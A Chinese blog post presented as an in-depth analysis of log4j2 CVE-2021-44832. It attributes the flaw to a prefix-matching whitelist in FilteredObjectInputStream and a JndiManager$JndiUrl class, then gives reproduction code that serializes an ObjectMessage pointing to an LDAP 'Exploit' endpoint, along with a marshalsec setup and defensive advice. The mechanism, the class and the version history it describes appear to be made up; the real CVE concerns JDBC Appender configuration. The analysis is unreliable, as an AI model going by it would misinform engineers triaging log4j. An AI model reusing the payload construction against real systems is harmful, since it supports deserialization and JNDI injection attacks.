
Log4ShellCVE-2021-44228爆发那阵子整个圈子都在盯着 lookup 字符串和 JNDI。我当时把项目里的 log4j-core 升到 2.17.0以为这场拉锯战终于可以收场了。结果 12 月底 Apache 又紧急发了一版 2.17.1补丁说明里赫然写着“反序列化路径存在 RCE”——也就是 CVE-2021-44832。更让我意外的是这次问题不在 lookup而在一个绝大多数人没注意过的类FilteredObjectInputStream。如果你是在搜 Log4J2 漏洞时看到一堆 CTF 的 RCE 题解先别急着走这个漏洞的原理和命令注入关卡完全不是一回事。这个标题下真正值得拆的是一条“看似安全的 Java 反序列化白名单”如何被 log4j 自己的私有内部类击穿的完整链路。这篇文章我尽量用能落地的角度来讲包括 ObjectMessage 的序列化过程、FilteredObjectInputStream的过滤逻辑、JndiUrl为什么能自动触发 JNDI lookup以及 2.17.1 的修复到底改了什么。适合正在做漏洞排查的 Java 开发、甲方安全工程师也适合想深入理解 Java 反序列化 RCE 机制的人。1. 由 Log4Shell 埋下的引信ObjectMessage 为什么会成为反序列化入口1.1 日志里为什么会出现 Java 对象很多人对 log4j2 的印象就是“打日志的”最多再熟悉一下String.format那样的占位符。但 log4j2 其实有一套完整的消息模型ObjectMessage是其中比较特殊的一种它允许直接把一个 Java 对象塞进日志消息里。logger.info(new ObjectMessage(userObject));这段代码在业务里很常见比如把异常对象、请求对象、业务实体丢进日志方便后续排查。单机场景下没什么问题对象就在 JVM 内存里打不打日志都无所谓。但在分布式日志采集、SocketAppender、JMS Appender 这类跨进程场景里日志需要通过网络传输或写入消息队列对象就必须先被序列化成字节流接收端再反序列化恢复成对象。问题就出在这一来一回之间。在 log4j-core 的ObjectMessage源码里对象的序列化是手动控制的。发送端写对象时会先检查这个对象是否实现了Serializable如果实现了就把它单独序列化成一个byte[]再作为外层ObjectMessage的一个字段写出去。private void writeObject(final ObjectOutputStream out) throws IOException { out.defaultWriteObject(); if (obj ! null obj instanceof Serializable) { final ByteArrayOutputStream baos new ByteArrayOutputStream(); try (final ObjectOutputStream oos new ObjectOutputStream(baos)) { oos.writeObject(obj); } out.writeObject(baos.toByteArray()); } else { out.writeObject(null); } }接收端反过来先从外层流里读出这个byte[]再把它交给一个独立的ObjectInputStream去还原真正的对象。如果这里用的是原生ObjectInputStream那整条链路就等价于无条件反序列化任意 Java 对象攻击者只要能把一段精心构造的序列化字节流送进来就能在目标 JVM 里做文章。1.2 2.15.0 之前的真实风险面2.15.0 之前ObjectMessage.readObject里没有做任何类过滤代码大致是这样的private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); final byte[] data (byte[]) in.readObject(); try (final ObjectInputStream din new ObjectInputStream(new ByteArrayInputStream(data))) { this.replacement din.readObject(); } }这就意味着任何一个能把 ObjectMessage 送进 log4j 解析链路的入口都是反序列化攻击面。最典型的是 SocketAppender服务端监听一个 TCP/UDP 端口客户端把 LogEvent 序列化后丢过去服务端反序列化并打日志。如果这个端口暴露在不可信网络中攻击者完全可以不按 log4j 的协议来直接构造一个 ObjectMessage 外壳把 ysoserial 里的 CommonCollections、CommonsBeanutils 这类 gadget payload 塞进内层字节数组服务端一读就中招。在当时的大背景下大家的目光几乎全部聚焦在 JNDI lookup 上Log4Shell 的检测规则、修复补丁、绕过后讨论铺天盖地ObjectMessage 这条线反而被严重低估了。但 log4j2 的维护者显然也意识到了这个问题于是在 2.15.0 中引入了一个专门的服务类用来拦截 ObjectMessage 内部对象的反序列化它就是FilteredObjectInputStream。1.3 过滤器的“舱门”思想FilteredObjectInputStream从名字看就比原生ObjectInputStream多了一个“过滤”动作。它本身不是独立工具而是 log4j 自己写的一个ObjectInputStream子类只服务于内部的特定反序列化场景。核心思路很朴素在读取序列化流中的类描述符时先检查这个类是否在允许列表里不在就抛异常在才放行。听起来像是给反序列化加了一道闸门。但看了后面的实现你会发现这道闸门的设计非常粗糙粗糙到一个不算苛刻的绕过思路就能把它打开。这也为 CVE-2021-44832 的出现埋下了伏笔。2. FilteredObjectInputStream 的过滤逻辑白名单松到能跑火车2.1 resolveClass 的拦截时机Java 反序列化过程中ObjectInputStream在读取到一个对象时会解析它的类名这个动作由resolveClass方法完成。FilteredObjectInputStream就是重写了这个方法把过滤判断插在了类加载之前Override protected Class? resolveClass(final ObjectStreamClass desc) throws IOException, ClassNotFoundException { final String className desc.getName(); if (allowedClasses null || allowedClasses.isEmpty() || !isAllowed(className)) { throw new InvalidClassException(Class className is not allowed to be deserialized); } return super.resolveClass(desc); } private boolean isAllowed(final String className) { for (final String allowedClass : allowedClasses) { if (className.startsWith(allowedClass)) { return true; } } return false; }方法本身没有任何问题resolveClass确实是反序列化拦截的最早时机之一比 readObject 等钩子方法都要靠前。只要在类加载前把它挡住后续所有字段恢复、对象构造、钩子调用都不会发生。但从安全角度讲真正的问题出在isAllowed的匹配规则上面。2.2 前缀匹配带来的“自己人”漏洞注意startsWith这个词。它不是精确匹配而是前缀匹配。只要目标类的类名以某个允许项开头就放行。这意味着两件事。第一如果白名单里加了org.apache.logging.log4j.core.net.JndiManager那么org.apache.logging.log4j.core.net.JndiManager$JndiFactory、org.apache.logging.log4j.core.net.JndiManager$JndiUrl这些内部类全部跟着被放行因为它们共享同一个前缀。设计者的本意可能只是允许 JndiManager 这个类本身被反序列化但内部类的类名天然带一个$符号前缀匹配根本区分不了“外部类”和“内部类”的边界。第二如果白名单里加了org.apache.logging.log4j.core.net.JndiManager攻击者也不太可能伪造一个同前缀的类来绕过因为类必须真实存在于目标 classpath 中才能被加载。真正的风险不是“伪造前缀”而是“前缀覆盖了一个过于庞大的类家族”只要这个家族里出现一个反序列化钩子可控的成员白名单就形同虚设。允许列表里躺着的具体类不同版本略有不同。以 2.17.0 为例ObjectMessage初始化时往里塞了一批 log4j 内部类其中包括org.apache.logging.log4j.core.net.JndiManager。而 JndiManager 内部恰好有一个叫JndiUrl的私有静态内部类它就是这次漏洞的关键。2.3 白名单机制和黑名单机制的差异这里顺带说一个反序列化过滤器设计上长期争论的点。黑名单思路是维护一份危险类名单比如org.apache.commons.collections.functors.InvokerTransformer反序列化时见到就拦。优点是兼容性好缺点也很致命Java 生态里的 gadget 类太多今天拉黑一个明天黑市上又冒出来一个变体永远追不完。白名单思路理论上更安全默认拒绝一切只放行明确可信的类。但它对维护者的要求极高必须对每一个放行的类都做到“即使它被反序列化也不会产生危险行为”。JndiUrl恰恰就是这个要求没做到的地方。安全团队往往容易高估白名单的安全边界低估类自身钩子方法带来的风险这是这次漏洞能成立的根本原因之一。3. 漏洞核心JndiUrl 在反序列化时自动调用 readResolve3.1 一个私有静态内部类的危险钩子先看 JndiUrl 在 2.17.0 中的大致形态。这个类是 JndiManager 的私有静态内部类继承了java.net.URLpublic class JndiManager extends AbstractManager { ... private static class JndiUrl extends URL { private final String url; private JndiUrl(final String url) throws MalformedURLException { super(url); this.url url; } private Object readResolve() throws NamingException { return JndiManager.getDefaultManager().lookup(url); } } }表面上它是一个普通的 URL 包装类多存了一个字符串字段url。但请注意readResolve方法。在 Java 反序列化机制中当一个类定义了readResolve方法要求是实例方法返回值ObjectObjectInputStream在恢复出对象后会调用它并用返回值替换当前对象。这个机制最初是为了解决单例对象序列化后无法保持唯一性的问题比如枚举、单例模式都会用到。但它的另一面是反序列化过程中不需要任何外部调用readResolve会被自动执行。也就是说只要成功反序列化了一个JndiUrl实例JVM 就会自动调用它的readResolve进而执行JndiManager.getDefaultManager().lookup(url)。这个url字段来自序列化字节流完全被攻击者控制。3.2 从一次反序列化到一次 JNDI lookupJndiManager.lookup内部本质上就是 JNDI 的InitialContext.lookup传入的 URL 可以是ldap://、rmi://、dns://等协议。当攻击者把url设置成自己控制的 LDAP 服务地址时整个链路立刻从“日志反序列化”变成了“JNDI 注入”。这条链路一旦打通后续的 RCE 方式就很成熟了。比较老的利用路径是让 LDAP/RMI 服务返回一个包含远程 Java class 工厂的Reference对象目标 JVM 在解析这个引用时会请求远程 HTTP 服务加载恶意类。JDK 版本较新时trustURLCodebase默认关闭远程类加载这条路走不通但还可以结合目标 classpath 里现成的 gadget比如 Tomcat 的 BeanFactory 加 ELProcessor来绕过。所以这个漏洞能不能直接弹计算器取决于目标 JDK 版本、classpath 依赖和网络连通性但 JNDI 外带和探测一定是可行的。这里有一个容易混淆的点Log4Shell 之后很多人以为 log4j 已经彻底移除了 JNDI。严格说是移除了JndiLookup和 lookup 相关的模式匹配但JndiManager这个底层管理器为了兼容性还在而且ObjectMessage的允许列表里放了它。攻击者不需要经过任何 lookup 配置也不需要触发${jndi:...}字符串解析而是直接通过反序列化调用了 JndiManager 内部方法。这就是 CVE-2021-44832 能独立于 Log4Shell 存在的原因。3.3 完整利用链路把整个链条串起来看攻击者部署恶意 JNDI 服务LDAP 或 RMI返回恶意引用攻击者构造一个包含JndiManager$JndiUrl对象的字节流url字段指向恶意服务通过 SocketAppender、JMS 或任何能接收 ObjectMessage 的入口把字节流发送给目标目标 log4j2 在反序列化 ObjectMessage 时进入FilteredObjectInputStreamresolveClass检查JndiManager$JndiUrl命中前缀匹配放行反序列化引擎恢复JndiUrl对象自动触发readResolvereadResolve执行 JNDI lookup连接攻击者服务攻击者返回恶意 Reference目标加载远程类或本地 gadget造成 RCE。整条链最精妙的地方在第 5 步和第 6 步白名单过滤器明明拦住了外部恶意类却放行了 log4j 自己内部一个“一旦被反序列化就会自动执行 JNDI lookup”的类。攻击者甚至不需要用 ysoserial 那套复杂 gadget一个类就够了。4. 本地复现构造 ObjectMessage 触发反序列化链路4.1 复现环境的准备复现这个漏洞不需要完整的 log4j 客户端服务端架构本地写两个 Java 类就行。我建议在隔离环境里做不要拿生产环境或者未授权的目标测试。环境配置大致如下JDK 8复现 JNDI 老链路最方便JDK 8u121 以下可以演示远程类加载高版本需要用 gadgetlog4j-core 2.17.0marshalsec用来快速起 LDAP/RMI 恶意服务一个编译好的恶意 class 文件放到 HTTP 服务上。我用的是 JDK 8u112 log4j-core 2.17.0 marshalsec 起 LDAP 服务HTTP 服务放恶意类。4.2 构造带 JndiUrl 的 ObjectMessageJndiUrl是私有内部类普通代码没法直接new但反射可以拿到私有构造函数。注意真正的攻击者连反射都不一定需要因为反序列化恢复对象本来就不走构造器只要手工构造序列化字节流就行。反射只是本地复现时最省事的办法。Class? clazz Class.forName(org.apache.logging.log4j.core.net.JndiManager$JndiUrl); Constructor? ctor clazz.getDeclaredConstructor(String.class); ctor.setAccessible(true); Object jndiUrl ctor.newInstance(ldap://127.0.0.1:1389/Exploit); ObjectMessage msg new ObjectMessage(jndiUrl); ByteArrayOutputStream baos new ByteArrayOutputStream(); try (ObjectOutputStream oos new ObjectOutputStream(baos)) { oos.writeObject(msg); } // baos.toByteArray() 现在就是攻击者要发送的完整 payload这段代码的关键在于ObjectMessage.writeObject会把jndiUrl对象单独序列化进内层字节数组。外层是ObjectMessage的字段内层是攻击者真正想触发的JndiUrl。4.3 服务端模拟触发服务端的触发很简单只要把上面这段字节流交给ObjectInputStream去反序列化ObjectInputStream in new ObjectInputStream(new ByteArrayInputStream(payload)); Object obj in.readObject();in.readObject()会先恢复出外层ObjectMessage紧接着ObjectMessage.readObject内部会读取内层字节数组并使用FilteredObjectInputStream继续反序列化。这个过程中JndiUrl的readResolve会立刻执行。我在复现时先在 marshalsec 起的 LDAP 服务上做了记录跑完服务端代码后LDAP 服务立刻打出了一条查询记录说明 JNDI lookup 确实被触发了。如果目标 JDK 允许远程类加载恶意类随后会被加载命令执行也就顺理成章。4.4 复现过程踩到的三个坑第一个坑不要试图在目标 JVM 里直接调用 JndiUrl 的lookup逻辑来验证。这个类的readResolve是私有方法反序列化引擎能调用它但普通代码直接反射调用有时候会因为访问检查报错容易误导排查方向。只要看到 LDAP 服务收到查询就已经证明链路通了。第二个坑日志框架版本要干净。如果你本机 classpath 里既有高版本 log4j-core又有 2.17.0类加载顺序可能导致FilteredObjectInputStream根本不在预期位置排查起来非常难受。建议用 Maven 单独拉一个依赖树确认只有 2.17.0。第三个坑marshalsec 起的 LDAP 服务默认只返回引用恶意类不一定能成功加载。复现 RCE 时如果发现 LDAP 有查询但命令没执行先检查目标 JDK 的com.sun.jndi.ldap.object.trustURLCodebase是不是 true或者 classpath 里有没有 Tomcat 那套 gadget。很多时候漏洞已经触发只是后续利用条件不满足。5. 从 2.17.1 看官方修复删一个类远远不够5.1 官方补丁到底改了什么2.17.1 的修复方式非常直接把ObjectMessage允许列表里的JndiManager相关条目删掉。这样resolveClass看到JndiManager$JndiUrl时就不再命中白名单直接抛InvalidClassException整个反序列化链路在类加载之前就被终止。这是典型的“快速止血”补丁。它解决的是当前这条具体的利用链而不是反序列化过滤器设计上的根本问题。5.2 为什么 FilteredObjectInputStream 会漏掉 JndiUrl回头看漏掉的原因有三层。第一层前缀匹配太粗糙。JndiManager和JndiManager$JndiUrl在类名上确实是包含关系但语义上一个是管理类一个是内部工具类安全边界完全不同。用startsWith做判断等于自动放行了所有内部类。第二层没有对类的钩子方法做风险评估。FilteredObjectInputStream只关心“这个类是不是允许的”不关心“这个类被反序列化后会发生什么”。一个允许类就算自身没有 readObject也可能有readResolve、finalize、toString、hashCode这些钩子一旦在反序列化过程中被自动触发就可能产生不可控行为。第三层允许列表中混入了“不安全但必要”的类。JndiManager进入白名单可能是为了兼容某些序列化场景但 JNDI 这个能力本身对反序列化来说就是高危能力。把高危能力类和反序列化白名单放在一起风险早就埋下了。5.3 影响版本与版本图谱官方对 CVE-2021-44832 的影响范围描述是 2.0-beta7 到 2.17.0修复版本是 2.3.2、2.12.4、2.17.1。但不同版本的实际风险形态差别很大版本区间反序列化过滤实际风险2.0-beta7 ~ 2.14.1无过滤ObjectMessage 直接用 ObjectInputStream任意反序列化可利用面最大但当时 JndiUrl 尚未出现2.15.0引入 FilteredObjectInputStream但过滤规则宽松部分绕过可能后续有 2.15.0 又被补丁覆盖的记录2.16.0移除 lookup过滤规则仍宽松JNDI 利用面收窄2.17.0恢复 JndiManager允许列表包含 JndiManagerJndiUrl 自动触发 lookup形成本漏洞2.17.1从允许列表移除 JndiManager本链路被切断这张表也解释了为什么很多人会困惑明明 2.15.0 开始就有 FilteredObjectInputStream为什么漏洞到 2.17.0 才爆发。核心差别就是 JndiUrl 这个类本身是什么时候出现的。2.17.0 为了在 Log4Shell 修复后尽量恢复兼容性把 JndiManager 加了回来连带着把内部的 JndiUrl 也暴露进了反序列化过滤器的视野。5.4 后续版本的进一步收紧2.17.1 只是把 JndiManager 从允许列表里摘掉。再往后的版本里log4j 继续完善了反序列化防线比如进一步缩小允许列表、对 ObjectMessage 的嵌套反序列化做更严格的限制、默认禁止 JNDI 相关能力等。如果你现在还在维护老项目我不建议停留在 2.17.1 就算完事。log4j2 后续还陆续处理过其他问题生产环境能升多高就升多高至少在 2.17.2 以上有条件直接上 2.20。6. 实战加固老项目如何排查和防御这类反序列化漏洞6.1 快速判断目标环境是否存在问题排查分三步。第一步查依赖版本。Maven 项目直接mvn dependency:tree -Dincludesorg.apache.logging.log4jGradle 项目用gradle dependencyInsight --dependency log4j-core重点看 log4j-core 的版本是否落在 2.0-beta7 到 2.17.0 这个区间。第二步查运行环境。如果业务已经上线不方便快速改依赖可以用 jstack 或者从运行进程的 classpath 里找 log4j-core 的 jar 包直接看 Manifest 里的 Implementation-Version。第三步查反序列化入口。这一步最容易被忽略。就算版本命中如果系统里根本没有 ObjectMessage、SocketAppender、JMS Appender 这类接收外部序列化数据的入口实际可利用性就很低。反过来如果存在这些入口即使版本是 2.17.1也要考虑是否有其他方式绕过过滤。6.2 三个层级的缓解措施如果因为各种原因暂时不能升级我建议按下面三个层级叠加缓解而不是只做一层。第一层阻断入口。SocketAppender、JMS Appender 这类 Appender 如果不是业务必须直接停掉。如果必须保留确认监听端口不对公网开放用防火墙限制来源 IP。凡是“需要接收外部序列化数据”的端口都要当成高危攻击面来看而不是当成普通日志端口。第二层阻断出站。JNDI lookup 的利用前提是目标能访问攻击者的 LDAP/RMI/HTTP 服务。在 Java 进程所在的主机上限制出站流量尤其是 1389、1099 等常见 JNDI 服务端口很多利用就打不通了。这一步对老版本同样有效因为 JNDI 注入链路再长最后也得回连攻击者。第三层运行时防护。RASP、IAST 这类工具可以 HookObjectInputStream.resolveClass和 JNDI 的 lookup 方法在运行时做二次拦截。对 Java 反序列化漏洞来说class 级过滤和行为级拦截是两道不同的防线不要混为一谈。只做 class 级过滤总有漏网之鱼只做行为级拦截也挡不住未知入口。两个都上才能覆盖大部分风险。6.3 从这次漏洞里沉淀下来的排查习惯这次事件之后我在团队里定了几条规矩分享出来供参考。凡是日志框架升级不能只看 CVE 编号修没修完还要看变更记录里新增了哪些类、修改了哪些类。这次 JndiUrl 就是在新版本里“顺手”被放进允许列表的如果当时能对 2.17.0 的 class 变更做一次 reviewCVE-2021-44832 是能在官方补丁出来之前被提前发现的。凡是白名单机制定期做一次“名单 review”。不是看名单有多长而是逐个问这个类为什么要允许反序列化它有没有 readObject、readResolve、finalize 这类钩子它内部有哪些子类会被前缀匹配连带放行这次漏洞里 JndiUrl 恰好集齐了所有危险因素能被前缀匹配放行、有自动执行的钩子、钩子动作是高危的 JNDI lookup。凡是安全修复补丁升级后一定要验证旧攻击路径确实被切断。我见过不少项目升了版本但因为依赖冲突、多版本 jar 共存、SPI 加载顺序等问题实际运行用的还是老版本。用我们上面提到的几种触发方式跑一遍确认日志里没有异常反序列化告警才算真正修完。Java 反序列化这个领域最大的问题就是“自信”。原生 ObjectInputStream 危险大家知道加一层白名单过滤器大家觉得安全了但真正决定安全性的不是“有没有过滤器”而是过滤器的匹配粒度、允许类的行为分析、以及运维层面的纵深防御能不能跟上。FilteredObjectInputStream 这次翻车靠的恰恰不是复杂外部 gadget而是一个 log4j 自己内部、看起来人畜无害、却在反序列化时自动发起网络请求的私有类。它给所有 Java 中间件维护者上了一课白名单不是免死金牌安全边界最终要靠对每个放行类的深入理解来守住。